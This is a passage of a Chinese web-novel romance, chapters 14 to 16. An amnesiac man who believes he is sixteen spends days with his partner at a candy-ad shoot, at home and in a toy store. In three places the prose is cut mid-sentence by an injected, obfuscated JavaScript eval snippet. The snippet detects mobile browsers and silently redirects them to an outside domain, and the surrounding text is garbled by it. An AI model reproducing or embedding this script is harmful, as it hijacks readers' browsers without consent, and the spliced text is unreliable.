但似乎又因为太幸福了,心脏的地方……开始隐隐发痛。 他忍不住偷偷看向厉非。 夜风温柔,星空下厉非一双黑瞳也在温和地看着他。但他其实看着的……是他么? 应该只是那个真正会被他当成宝贝爱护的,二十八岁的傅斯霆吧。 “……” 椰子明明很甜,可此刻入口却突然沾染了一点苦涩。 这几天,厉非对他种种细腻爱护,对他无比关心纵容。但厉非的温柔和耐心,是不是其实只是在等。 在等他恢复“正常”。 在等他恢复成他爱的那个傅斯霆,那个厉害的、潇洒的,自信从容的傅斯霆。 医生说血块只会持续十几天。 可如果十几天后,他依旧不能……恢复呢。如果到时候,他还是十六岁的傅斯霆呢。 厉非会不会渐渐失去耐心。 会不会开始讨厌他。 会不会对他说,请你把二十八岁的傅斯霆还给我。 傅斯霆不知道,眼前无边的夜色大海。海浪一下下撞击着着岸边,而海风的吹拂也染上了淡淡寒意。 ……如果厉非说出那种话,他应该会立刻想要死掉。 …… 傅斯霆不会知道,厉非此刻当然并没有在透过他在想着二十八岁的恋人。 厉非在琢磨别的。 他在认真琢磨,要怎么做,才能一步步骗到十六岁的傅小霆早点对他彻底敞开心扉? 首先当然得先建立信任。 那像今天这样一起玩、一起闹,算是稍微靠近了一些吗?厉非也不知道。 他只知道二十八岁的傅斯霆看着是好,但其实也并没有外面看得那么光鲜。傅斯霆太过执着于展示自己最强大、最厉害、最好的一面,而将所有痛苦和无助都藏起来自己消化。 总那样独自支撑,不肯让人分担,当然会生病。 说不定就是因为生病了才会变成这样…… 厉非觉得不是没有这个可能。 或许让傅斯霆失忆的根本不是什么血块,而是他心房里一直锁着藏着的那个绝望痛苦的十六岁的傅小霆终于砸掉了压抑着他的牢笼,跑出来了。 跑出来的十六岁小霆其实也很乖。 他只是想要抱一抱。 只是想要吃点好的。 只是想要一点点自由和快乐。 但同时,十六岁的小霆又不熟悉眼前的一切。十六岁的小霆还不爱他,更不熟悉他,对于他的靠近和“保护”,说不定其实感到很惶恐害怕。 厉非也有点不知道该怎么办了。 他想呵护他。 却也怕突然靠得太近,会吓到他。 14.第 14 章 那天厉非带着傅斯霆在庄园待到快午夜。 因为隔天还有巧克力广告的拍摄,才不得不踩着半夜的钟声回到酒店。 隔日早上,维兹卡亚花园阳光灿烂,本就精美的意式花园被布置得更像一个童话世界了,喷泉前五颜六色的糖果堆砌成一座座小山,仿佛空气中都弥漫着甜腻的香气。 傅斯霆前一夜睡得不好。 “我本可以忍受黑暗,如果我不曾见过光明”,这句诗他在课上背过,但那时理解得并不真切。 直到现在,终于才懂。 眼前的好日子,还能持续几天……天堂越美好,大概被夺走的一天,越是能让人清楚看见地狱。 但是。 傅斯霆抬起眼,但至少此刻,眼前仍是一片五彩斑斓的世界。 能现场看到厉非拍广告多开心……他是不是应该暂时先活在当下。 尤其这还是一支糖果广告。 傅斯霆永远不会忘记十四岁那年,他孤独无望在天桥上,看到巨大广告屏上举着巧克力糖瓶的厉非。 正想着,两个工作人员一左一右,突然笑眯眯就把他摁住了。 人生第二次,他猝不及防被香香的粉底糊了一脸。不明就里间,一位漂亮的小姐姐走过来:“傅斯霆,你真失忆啦?” “……” “嚯,还真不认识我了?瑶瑶跟我讲的时候我还不信呢,瞧这大学生一样清澈的眼神。” 小姐姐自我介绍是这次广告的甲方,著名糖果厂商的大小姐聂珍,并自称和是厉非和傅斯霆很熟悉的朋友。 她露出小恶魔笑,拍了拍傅斯霆:“来都来了,失忆也不要紧。上吧,霆霆兽!” 厂商当然都希望花出去的广告费能一本万利。 虽然聂珍坚信厉非一个人也能一本万利,但现在生意毕竟都不好做。如果夹带热(绯)门(闻)话(男)题(友)能让这次的广告有机会一骑绝尘、分分钟干上热搜,他们集团肯定不会放过。 开玩笑。为了商战,她早就不择手段了!! …… 傅斯霆默默看向镜子。 他被换上了一件银灰色的西装,这件西装不仅帅气,还十分的……且可爱。 可爱的意思就是,不仅西装的袖扣是金色星星糖,领带也同样是糖果条纹造型,就连领夹都做成了糖丝编织,胸口处还缝着一排用珍珠糖串成的珠链。此外,西装面料的材质也十分奇特——五彩斑斓的灰,对着太阳还能浮现出各种各样的浮光幻色。 就像,玻璃糖纸。 他的造型也和昨晚红毯的成熟风格截然不同。 明明头发都是很帅地往后梳的,但这次梳完之后,妆造姐姐却又给他夹了一颗……糖果发夹。 不知是什么魔法,发夹一夹,一下年轻十岁。 他终于在镜子里好像看到了十六岁的傅小霆,正在发着愣,转眼就看见厉非穿着纯白色的西装走过来。 “……” 好像从童话里走出来的王子,直接走到了婚礼现场。 阳光灿烂,照着周遭那么多甜甜的糖果、花朵和气球,反射着绚丽的光,灼得人眼睛生疼。 …… 傅斯霆从小到大都没拍过几张相片。 人又僵,摆姿势也摆不明白,好在厉非很会引导。 导演刚喊了“开始”,他就果断拿起一颗粉色的糖果直接塞进傅斯霆嘴里。镜头对过来,真实记录下傅斯霆在那一瞬间的愣神、青涩,和被糖果的甜味瞬间点亮颜色的眼睛。 “甜吗?” 甜,但傅斯霆已经来不及回答。 因为眼前,厉非又拿起了好大一罐巧克力糖。那一瞬间他的模样跨越经年,和十四岁那年的巧克力糖果广告完全重合。 厉非不会知道,当年那张橙色的海报,傅斯霆满世界找了多久。好不容易收藏到一张,至今里三层外三层包起来藏在抽屉里,是他最珍贵的宝物之一。 那个时候…… 那个时候,他做梦都不可能想到,自己能有一天站在厉非身边。 更不要说同他一起拍摄糖果广告了。 好像天方夜谭。 …… 别人都说厉非业务能力超强,傅斯霆今天见识到了。 糖果公司带来的策划案里不过也是几句固定的广告台词、几个画好的分镜画面而已。拍完了之后,厂商说希望两人可以再自由发挥一下,让他们拍点花絮。 结果厉非的“自由发挥”,是和傅斯霆一起用各种形状和颜色的糖果在地上拼出彼此的名字,是让工作人员把糖果撞进气球然后在他们头上弄糖果雨,是背对着背看看选出来的糖果形状是否一样的暗号游戏,是把巨型棉花糖捏成兔子和熊,是看颜色猜糖果味道输了吃怪味糖惩罚。 原来重头戏在这,他哪来的这么多创意? 摄影机刷刷拍,傅斯霆全程任由摆布。 甲方大小姐则在共友群里疯狂嚎叫:“救命啊,拍个广告杀狗啦,求求这俩做个人吧……” 两小时后,户外拍摄结束。 傅斯霆万万没想到,后面还有室内拍摄! 室内场景就只拍厉非一个人了,和外面的童话氛围完全不同——欧风的小城堡里,玫瑰花瓣散落满地,厉非也换上了一套修身的酒红色浴袍,勾勒出他完美的锁骨。 暧昧的灯光下,他轻垂双眼,手指轻轻划过巧克力的表面,感受巧克力在指尖融化的丝滑,仿佛是在细腻触摸爱人的肌肤。可偏偏,最该最沉沦的时刻,他却又直直抬眼。 看向镜头的深邃黑瞳里,是毫不收敛、野生动物一般无比危险的性感压迫。 而傅斯霆此刻正直直站在镜头前。 直接被死死定住。厉非的眼神仿佛穿越屏幕,直直攫住他的灵魂。 他无法挣扎,更无法挣脱,直接被这致命的诱惑狠狠咬住咽喉。 身边,聂珍小声跟他科普:“这是我们的《欲|火》系列情人巧克力啦,走的是□□风。这种风格在国内接受度也就一般,但在日韩和东南亚那边卖得可火了,现在要进军欧美……” …… 拍摄终于结束,回去的路程也要四个小时。 厉非给傅斯霆戴上眼罩:“辛苦了,睡一会儿吧。” 傅斯霆默默躺下,但睡不着。 脑中很多场景交织,一会儿是拍摄时厉非酒红色衣领下露出的锁骨。一会儿是浴室中他头发濡湿还微微滴着水的瞬间。 昨晚,两人回酒店已经很晚,匆匆洗完澡后,厉非还给他吹头发。 手指一下又一下撩拨着他的发丝:“烫不烫?” 他摇头,但其实耳朵很烫。 偏偏眼前厉非身上那件酒店的睡袍比家里的还系不紧。松松的带子看着只要轻轻一拽就会开了,加上他低沉的声音,优雅慵懒动作,头皮上的酥麻麻…… 所有他十三岁就有的,见不得人的隐秘心思,被细细密密地勾出。 …… 心底躁动混杂着难堪,扩散肆虐。 傅斯霆一动不动躺着。 不知开了多久,车子停在休息区修整。 司机买水去了,车里只剩他和厉非。皮革的气息盖掉了厉非身上淡淡的清冽,傅斯霆却恍然觉得那甜甜糖果的香味始终犹在。 他爬起来,恍惚望着厉非安静睡着的脸。 气息逐渐靠近。 越是近,越是迷茫,更越是疯渴。他一片混沌,只想蹭一蹭那唇。 想碰触。 想厮磨。 想要捉着他的手腕,整个压下去,肆意渴取,掠夺…… 无数混乱的想法。 十六岁的傅斯霆就像一只躲在阴暗处的怪兽,酸涩嫉妒着将来能够占有他真正宠爱的那个自己。悲哀又刺痛,不甘和扭曲像是淬了毒。 可那深渊之中,又有很多他渴望的糖果,看起来那么香甜。 所以阴暗的怪兽还是被诱惑了,疯狂攫取不该属于自己的昂贵糖果。 可他凭什么抢?他根本不是那个优秀的、拥有一切的傅斯霆,也根本不知道该怎么成为他。 他不知道怎么做才能像他一样幸运。他对将来最完美的梦想,不过是上个力所能及的大学,找一份稳定的工作,养活自己和妈妈。 傅总,公司,游戏。他在红毯上享受闪光灯和赞美的时候倒是快乐。可事实是,做出那些成绩哪有那么容易……? 那如果,他做不到呢。 是不是,就不可能有和厉非的未来。 如果眼前的这个未来,其实只是无数将来可能性的其中之一。但 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14982955|161423||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 凡少了一点点努力,少了一点点幸运,就会如泡沫般随时破碎消失。 “……” 人遇到了过于超出理解的事物,始终会倾向于它是假的。 傅斯霆尤其如此,很难相信巨大的幸运会降临在他这种凡人身上。 所以最后,他就只是蜻蜓点水地,悄悄碰了碰厉非的鼻尖。 没有放纵自己去偷吻那近在咫尺的唇。 因为过去十六年的人生,真的让他太清楚什么叫“现实”。 如果现在尝到了不现实的甜美,可往后余生却都只能远远看着…… 还不如一开始就不要触碰,至少不会太难受。 …… 厉非其实没有睡着。 他在反省。 反省自己这几天的一些言行。 人其实都是不太能直面自己的阴暗面的。 直到此刻,他也都还在给自己找借口——努力说服自己,这几天他睡衣的领口不是故意散开,在床上装模作样看书也不是故意摆了最上镜的角度。 刚才的拍摄,他更没有透过镜头在全力诱惑…… 因为,如果有的话,他这个人就太糟糕了。 最爱的男朋友正在忍受生病失忆的不安。他但凡还想做个人,就不该在这种时候还让无聊的胜负欲占据上风吧。 可事实就是,他不做人。 厉非也很烦自己这点。他从小就这样,表面一脸平静高贵,其实事事处处都想赢。 这些天,他这么不着痕迹地努力勾引傅小霆。给自己找借口是,他只要能骗得十六岁的傅小霆也爱上他,小霆就能把过去的一切秘密告诉他了。 他是为了傅斯霆,不是为了自己。 ……但这又是真实的想法吗? 会不会其实,他只是接受不了心里眼里只有他的爱人,突然回到十二年前,不再第一时间就无条件沉迷他了。 会不会他只是拼命想要抓住那个人,抓住那一直以来只给他一个人的、无比坚定的爱。 厉非不想承认这些。 大概是因为,他从很久以前就不相信任何人,防备心也重,早就接受了自己会孤老终生。 可后来,他却奇迹般地遇到了可以信任的爱人,过上了难以想象的幸福生活。 坚硬的壳柔软了,也开始学着主动索求爱意了。 爱人却突然变回了十六岁。 回到十六岁不是问题,可十六岁的傅斯霆居然没能瞬间喜欢上他! 就算这里面有很多理由,也许十六岁还太小,也许傅小霆还没开窍。但二十八岁的厉非还是无论如何也无法接受,他居然连把一个青涩少年钓成翘嘴的实力都没有? “……” 这怎么忍。 甚至说不定,还被当成长辈看待了。 就在他戴着眼罩胡思乱想时,熟悉的气息忽然靠近。 如果傅斯霆还是正常的傅斯霆,靠得那么近,就一定是要偷亲了。这种行为,都被厉非逮到不知道多少次。 但傅小霆…… 傅小霆蹭了蹭他的鼻子,就跑了。 “……” 被爱不是容易的事,爱人也难。一直听人这么说。 可上天好像一直以来对他过于优待了。当年是傅斯霆先追求的他,而他要做的,不过是接受那从一开始就非常坚定的偏爱而已。 在这段感情中,他从来不需要猜。 不需要有任何试探、怀疑和煎熬。 但当时的傅斯霆面对他,又是什么心情? 明明那么努力,却只能等待着被选择。不知道付出全部真心会不会换来结果,那种煎熬怎么可能好受。 可傅斯霆什么也没有说。 厉非现在在想,他后来有没有给他足够的幸福,去补偿这些不安? 傅斯霆跟他在一起应该是幸福的吧。 可他做的又真的够吗? 想着,他摘下眼罩,傅斯霆已经躺回去了。他看着背对着他的小蚕蛹,突然伸出手。 “别动,就抱一下。” “……” “没事,就是突然觉得你……很可爱。” 不知道在哪里听说,可爱在中文里是可以爱,在别的语言里还有可以被爱的意思。 好像很贴切。 15.第 15 章 到家时已是黄昏。 那一天的晚霞比任何时候都更绚烂,云层像是被点燃的火焰,从浅橘到深橙再到紫和艳丽的绯红,大片大片堆积在一起,倾尽所有色彩铺开的一幅画卷。 傅斯霆从来没有见过那么低、那么惊心动魄的天空。 他一路恍惚,任由厉非牵着手,一直把他牵到家门口,还在回头流连。 “喜欢看?”厉非说,“去楼上落地窗可以看得更清楚。” 楼上的巨大落地窗正对着夕阳。 只是傅斯霆没有想到,紫红色的晚霞尽头,越过树林、绿地和湖泊,他竟还依稀看见了童话城堡和摩天轮。 突然想起厉非说过,他们住的地方离迪士尼游乐园很近。 难道那里就是…… “嗯,是。” 厉非垂眸笑笑,他们所住的Golden Oak本来就是由迪士尼设计的私人住宅区,旁边不是湖泊就是高尔夫球场,视野非常开阔,所以虽然只有三层也可以看得很远。 他在旁边坐下:“傅小霆,要不要靠过来?” “……” 傅斯霆靠了过去。 就这么静静靠着厉非,看着天空浓烈的橘红和绯红一点点稀释、收敛、暗淡,失去清晰的轮廓,像一场无比盛大又悲伤的谢幕。 晚风带着一丝凉意,世界静谧安然。 厉非忽然垂下头,凑近到可以随时咬他一口的距离,问他:“你是不是有什么心事?” “……” “从昨天晚上起,你就有点低落。为什么?能不能告诉我。” 夜幕降临,傅斯霆垂眸安静。 好像他一直不说话,就可以轻易将一切混过去。 “傅斯霆。” 厉非捧住他的脸,贴近鼻尖逼他对视。 傅斯霆不想对视。 厉非太聪明也太成熟,总能轻易看穿他所有隐藏的心思。 可是。 可是十六岁的傅斯霆,本来就已经什么都没有了。 身体和生活都一塌糊涂、尊严也早就扫地。还好厉非没有看过那样的他。而他也宁可在看不见的地方被命运狠狠践踏,也不愿意被剥得精光,难堪地站在唯一的白月光面前。 他第一次反抗。 反手抓住了厉非的手腕,就想挣脱。 然而厉非根本不给他逃走的机会。直接强硬地搂住了他的腰,就这么不由分说地把傅斯霆给紧紧锁进了怀里。 就这么抱了好一会儿,直到他不再抗拒,直到他渐渐放松。 直到他自暴自弃地靠在那温暖的怀里彻底丧失抵抗。 他才又循循善诱:“傅小霆,我问你个问题。” “……” “四天了,你怎么看我?” “我想知道,十六岁的傅斯霆,觉得二十八岁的厉非哥哥怎么样?” 傅斯霆张口,声音很小。 “嗯?”厉非笑笑,“再说一次,我没听见。” “……” “很好,”怀里人声音很轻,“二十八岁的厉非,很好很好。” “那,”厉非问他,“和很好的我在一起,傅小霆难道不开心?” 隔了一会儿,厉非才发现怀里的人一直在摇头。 像是小狗在蹭。夜幕星辉升起,他垂眸,心里一阵柔软。 “既然在一起开心的话,有什么让你难过的事,其实是可以告诉我的。” “……” “是想家了?” 怀里人摇头。 “那,是觉得不安?不适应这里?” 摇头。 “是不是我做错了什么?” 用力摇头。 “没关系的傅小霆,”他抚了抚他颈后软软的头发,“你厉非哥哥非常有耐心,可以一个一个问。问到明天天亮也没关系。” 满天繁星,厉非感觉抱着他腰的力度收紧了。 他垂眸,默默等着。 “……” “我不是他。” 半晌,怀里人闷声说:“我不是二十八岁的傅斯霆,也根本不知道……” “……” “根本不知道,该怎么能成为他。” 二十八岁的傅斯霆拥有的一切,他开朗,开公司、玩滑雪,设计游戏,什么都会什么都好。 而十六岁的傅斯霆,一贫如洗,孤僻阴鸷。 没有人会喜欢十六岁的傅斯霆。这样的他从一开始就不该出现在厉非面前,妄想贪图这么多不属于自己温柔和纵容。 最好的厉非,应该只看着二十八岁最好的傅斯霆。 而不是对着眼前这个十六岁毫无伪装、真实赤裸又难堪的少年。 “……” 可就连这些,也都是谎言。 十六岁的傅斯霆其实也没那么干净。他很愿意偷,很愿意抢,也愿意骗。如果这样就能从将来的自己手里彻底抢到本不该有的一切。 厉非沉默,然后紧紧抱住了他。 看吧,十六岁其实也有优势。年纪小,别人不会预设他心思深沉。 更不会想到他这么快就已经学会了饮鸩止渴。阴湿藤蔓一样扒在唯一的乔木身上,疯狂地去汲取空气和温度。 至于失去之后百倍千辈反噬的疼,到时候再说。现在他不想管。 后背被温柔的手指轻轻抚摸。 “对不起,”厉非轻声说,“我不知道你在想这些。” “是我不好。” “是我总想着你很快就会恢复记忆,始终没有设身处地的好好理解你的心情。” “傅小霆,其实对我来说,你就是你。不管十六岁还是二十八岁,不管什么处境、记得什么忘记什么,其实都没有区别。” “……” “但,如果你不喜欢我这样。那么从明天开始,我就只当你是‘你’,好不好?” “……” 傅斯霆恍惚着。 他不太懂,觉得自己听见了什么天方夜谭。 “我就只当你是十六岁的傅小霆,我们重新认识一次。” “从明天起,你就干脆把我当做新认识的大哥哥。而我就当你的监护人,我们一起把高中时的傅小霆重新再养一遍,好吗?” “……” “不反对,那就是答应了?” “那我明天要开始重新养小霆了?” …… 那天晚上,傅斯霆一如既往握着厉非的手腕入睡。 其实睡不着,但他忍住砰砰心跳声,努力逼自己入睡。 因为明天…… 他想着,只要一觉醒来。明天这个人,就是完完全全属于他的了。 他知道这样不对,他知道越陷越深不好。可明知道不应该,还是义无反顾一头栽进来。黑夜中,他悄悄用了指尖蹭了蹭厉非的手背,厉非没有睁开眼睛。 也不知道是睡着了,还是一如既往在无限纵容他。 他便更大着胆子,握着他的手,放在了自己心脏的位置。 很温暖。 心跳骤然又变快了。 看,它也知道他是真的喜欢厉非,非常喜欢。 …… 第二天早上,傅斯霆悠悠醒来,只觉得身上很暖,比任何时候都热。 然后他突然僵硬地发现,他正整个人好像……正被厉非抱在怀里。 他们是睡一张床的,但是那张被子很大。 很大很大很大。 大到明明是同一张被子,但两个人可 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14987190|161423||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 以离得很远很远。之前那么几天,他最多就也就只是从被子下面伸过去,轻轻握住厉非的手腕而已。 可是今天…… 傅斯霆艰难地看向四周,认真确定了一下,确实不是他睡糊涂入侵了厉非的领地。 确实是厉非主动钻到了他床的这一边。 但为什么。 难道是半夜错把他当成抱枕了吗?应该是不小心吧,总不能故意…… 傅斯霆想不通。 他发了一会儿呆。好在遮光窗帘关得很严,黑暗多少给了他一些躲藏隐匿和逃避现实的空间。然而很不幸的,不一会儿,早上八点到了。 定时的遮光窗帘自动拉开,阳光倾泻下来,那么亮。 随着刺眼光亮一瞬无处遁形的,还有拥抱的温度。淡淡的沐浴乳香味也开始更强烈而铺天盖地透过毛孔,渗入四肢百骸,占据一切感官和触觉。 傅斯霆登时有些晕眩。 虽然这几天厉非也不是没有抱过他。但短暂的抱抱和这种相比……这种还是太过震撼了,让胃里陡然有好多蝴蝶乱飞,难受慌乱。 “嗯……” 厉非带着些哑涩的呓语,唤回了傅斯霆一些神智。 然而他还没来得及做什么,身边人突然一翻身,直接把他给死死压住了! 傅斯霆瞬间僵硬,耳朵熟透。 他试着动,但动不了,有一种……猎物被锁死,无法挣扎的无力感和窒息感,脑子一片空白。 身上人倾覆下来。 厉非像是没睡醒,话语含含糊糊的。 “说好……养你的,不准跑。” 他说着,竟意义不明地用自己的脸,非常慵懒地蹭了蹭傅斯霆的脸颊。 这么一磨蹭,领口滑落,加上头发柔软,普通的厮磨竟有了一种暧昧的意味。然后厉非单腿在被窝里随便一弓,傅斯霆睁大眼睛,耐不住地仰起脖子,眼眶都瞬间都有些发红。 下一秒,脸又被捧住。 厉非毫无同情心地揉搓,把那张脸揉成各种形状。看着他崩溃的眼神,还非常没良心地笑了。 “不许反抗……”他浑浑噩噩,咕咕哝哝,“小霆以为……小动物被人养,一大清早会面临什么。” “当然会面临……主人的……玩弄。” “……” 傅斯霆当即掀被子逃。 然而分分钟被厉非隔着被子摁回去,裹着被子又一阵乱rua。傅斯霆无声惊喘之中,眼前模糊了片刻又清明,抓紧床单的手还被厉非死死摁住。 一大清早的少年真的不能随便乱摸,虽然他也明白这只是打闹,可还是整个人直接失调了。 被厉非压住,他是一边躲一边挣扎一边笑,笑得在被子里根本喘不过气。可生理性的眼泪又控制不住掉了几颗,前所未有的感觉。 最终,他被厉非捉在被子里一动不动,全线投降。 而厉非居然裹着毛虫一样的他,啪叽倒头,又睡了十几分钟。 “……” 傅斯霆僵硬地驮了他十几分钟。 十几分钟后,厉非醒了。 这次是真的醒了。 他刚才好像一直都在做一个非常无端的梦,梦境里他是大黑猫,傅斯霆也是体型不小的灰缅因。梦里他自己明明也是猫,却还要吸猫,一通吸吸吸…… 真正清醒过来后,十分懊悔。 不是。 他昨晚才跟人家说的什么来着?他说他要当傅小霆的监护人,好好把人家重新养一遍! 什么是监护人?监护人应该是好哥哥。 那种不会暗戳戳把睡衣带子松开,健康阳光的大哥哥。 结果一大清早就袭击人家可还行? 孩子不知道心里多害怕了! 16.第 16 章 好在,傅小霆性格很好,没有他偷袭的记仇。 早餐依旧是简单白人饭。 厉非托腮看傅斯霆一嚼一嚼,其实从那晚自助餐喂大龙虾和第二天喂糖果的经验,他get了喂食游戏的乐趣,看着现在的小霆也想喂。 但他克制住了,做出一副优雅的样子。 人不能。 至少不应该……偷袭别人后还为所欲为。 吃完,厉非问傅斯霆:“今天有什么安排?” 傅斯霆有点空白地看他,恢复期的失忆病人能有什么安排。 “那要不要一起去逛街?” 厉非真心觉得逛街是个不错的选择。不管是重新开始饲养小霆,还是当做两人之间加深互相了解的“初次约会”,又或者只是去到熟悉的街道和店铺看看能不能找回点记忆—— 逛街都很合适吧?也自由,又不累。 半小时后,两人收拾妥当出门了。 傅斯霆偷偷看厉非。 这么多天,他只看过厉非西装和浴袍的造型。 而今天,厉非却是非常休闲的打扮。 上身穿一件简约的白色棉 T,锁骨上挂着一条蒸汽朋克风格的做旧金属长链,搭配裤脚微微卷起的黑色的休闲裤和运动鞋。还戴了一顶棒球帽,帽檐稍稍压低,有种随性的酷帅。 为什么有人穿什么都好看。 傅斯霆再看看自己。 一件印有夸张巨大猫咪图案的黑色卫衣,猫的眼睛还在闪闪发光,搭配一条破洞牛仔裤。潮到带铆钉的鞋,以及一副特别夸张的飞行员墨镜。 这要不是真实放他衣柜里的新衣服,而且厉非还强烈要求他“就穿这个”。傅斯霆真的是…… 这风格也太诡异了。 二十八岁自己的私服品位,这么超前吗? 傅斯霆当然不会知道,衣服虽然在他衣柜、是他码数,却不一定是他亲手挑的。比如现在身上这一套,其实就是他去年过生日时那位虎牙少年尹以豪倾情赠送的礼物。 但这个礼物的风格实在太尹以豪了,也只有尹以豪本尊可以驾驭。二十八岁的傅斯霆就只是礼貌收下而已,从没穿它出过门。 但,十六岁的傅斯霆又不知道这件事! 偶尔换个风格多有趣?厉非一路看了个过瘾,并拿手机默默拍了好几张留念。 …… 商业街上,店铺林立,鳞次栉比。 目光所及之处,巨大的橱窗展示着各种时尚单品。看着傅斯霆目不暇接的样子,厉非笑了笑。 “先带你去一家店,你肯定喜欢。” 傅斯霆一进到店里,就看到了几个巨大的用乐高积木拼成的壮观城市天际线和奇幻的太空飞船。后面一排排高大的货架更是摆满了各式各样的精致手办。从城堡八音盒到炫酷跑车模型,从经典电影动漫人物到博物馆文创…… 小朋友玩略显幼稚的东西,给大朋友玩却刚刚正好。 厉非看向傅斯霆。 傅小霆虽然经常面无表情,但他的情绪其实很容易解读。比如他此刻脸上的空白,其实和那一天一言不发看仰望星空灯是一样的。 是猫猫状态,说明他非常欢喜,非常心动。 这家店一共两层,海量乐高和手办。 傅斯霆看得很仔细,目光认认真真探寻着不同模型的拼搭细节。比起单一的人物、动物、汽车、火箭等,他一向更喜欢各种各样大型阖家欢乐的拼搭街景,这点失忆前后也没变。 “喜欢这件?那就买回去!” “……” 傅斯霆的反应出乎厉非意料。 明明他的目光在巨大的树屋积木上流连了那么久,但厉非一说要买,他马上逃开就去看另一件去了。 厉非却不放过他:“还是更喜欢这个?可以都买。” “……” 店员迎上来,厉非指了一排场景拼图:“这个这个那个那个,除了中间他没看的那个,剩下全买。” 他是用英文说的,十六岁傅斯霆的英文也还算可以了,赶紧制止:“不用的,家里都……有很多了!” “……” “家里的是旧款,这边是新款。你喜欢就可以买,家里放得下。” “不用!”傅斯霆艰涩拒绝,“家里的那些……真的很多,玩不完的!” 傅斯霆毕竟来自十六岁,穷得叮当响。很多浪费钱的行为都会切切实实从骨子里让他如坐针毡。 然而此刻,还真不完全是舍不舍得的问题。 就,他不是之前看到过,家里有一个专门的玩具房么?后来才发现他弄错了。 不是一个,是有整整三个! 那三个房间里……海量玩具,尤其乐高特别多。有巨大的宇宙空间站、复杂的加勒比海盗船、各种各样的城堡和电影场景,放了整整好几面墙。 更别说还有一大堆做工超精细、绝对价值连城的手办,就真的,很多很多。 是他一辈子都玩不了的那么多,所以真的没必要浪费钱再买新的了。 傅斯霆是诚心这么恳请的。 但厉非好像仍旧不理解他的意思,还是在微笑哄他随便买,说人都有爱好,家里再多给他弄一间房都不算多。 傅斯霆也是直到这一刻才彻底清楚,原来家里那整整三间房的收藏,全是属于他的。 他抿唇垂眸,更不知该说什么了。 短短几天,他虽然已无数次切身体会十二年后的厉非是在怎么样毫无底线地宠着他。 但……被宠的人自己,难道就不知道要节制吗? 至少以傅斯霆十六岁朴素的认知,就算再怎么有钱,再怎么被爱人一味纵容,整整三间房的玩具都还是太多、太浪费钱了。 傅斯霆现在真心怀疑,二十八岁的自己是不是已经被宠坏了,宠得不知道天高地厚,宠的忘了本。 再有钱,什么人买玩具能买三间房!才短短十二年,他就已经完全忘记年少时的窘迫,开始这样肆无忌惮糟蹋钱了吗。 更不要说。 傅斯霆一直没忘,当时他刚醒来不久,有人让他以后好好对厉非,不许再吵架。 二十八岁的他竟然还会和厉非吵架??? 他到底在想什么?是真的被宠得失心疯了吗,他是怎么嚣张到那种地步的? …… 傅斯霆不知道,他想不通。 苍白的手指紧紧掐着。二十八岁傅斯霆的形象突然不再完美,反而开始令人质疑。 ……这个时候的傅斯霆并不会知道,家中那些完全过量的收藏,其实都来源于他有钱后的报复性消费。 就连厉非也是很后来才发现,傅斯霆根本就不是多么狂热的手办爱好者。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14992567|161423||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 他虽然会像狂热爱好者一样发疯地买,但常常买完之后就丢在房间里再也不看,甚至很多很贵的玩意,他连包装都不会拆。 ……报复性消费的源头,是无法消弭的痛苦和匮乏。 想要那些的,其实不是现在的他。 而是曾经那个眼巴巴站在橱窗前,最后只能默默离开、什么也得不到的少年。 后来那个少年长大了,凭借自己的努力和才华终于有了足够的财富。 可同时,曾经被压抑的欲望也终于开始如洪水般决堤。 只有每一次将曾经想要的东西过量收入囊中,才能让他在短暂的瞬间获得一种重新呼吸的满足。 可那种镇痛剂,却又好像永远是暂时的。 随着时间的推移,他又会开始空虚,旧伤重新作痛,然后他又会开始买。仿佛只要用物质竭力填补,就总有一天就能补全心里那深不见底的黑洞。 厉非默默纵着他买。 反正家里房间多,别说两间,十间二十间也随便他造。还不够,大不了再多买几套房子给他放。 厉非是真的不介意傅斯霆偶尔发疯。 因为,如果童年受到的亏欠可以用后来的物质哪怕填补一点,哪怕这么做可以让他减轻一分一毫的痛苦,那么哪怕是无底洞,他也希望填进去的东西越多越好。 至少也能让他痛得轻一些。 而且其实…… 其实傅斯霆最近几个月,甚至可以说最近一年里,都已经没怎么再发过疯报复性买东西了。也不知道是忘了,还是终于填补了足够多。厉非没有提醒他。 黑洞未必一直都是黑洞。 人生也不总是绝望。 他很愿意默默纵着傅斯霆,通过各种过度的补偿,一点点把曾经自己修好。 也愿意大量送他各种各样的东西,帮助他弥补——从限量版的手办到古董艺术品,从名贵腕表到稀有书籍,物质形式的爱也能一定程度抚平爱人心中的伤痕。 他是真的希望傅斯霆拥有更多,早些脱离过去的桎梏。 所以他没想到,傅小霆会不肯要。 厉非黑瞳定定看着面前失忆的爱人,然后逐渐反应过来,十六岁的傅斯霆,还不是后来那个有了钱,可以心安理得报复性弥补曾经遗憾的青年。 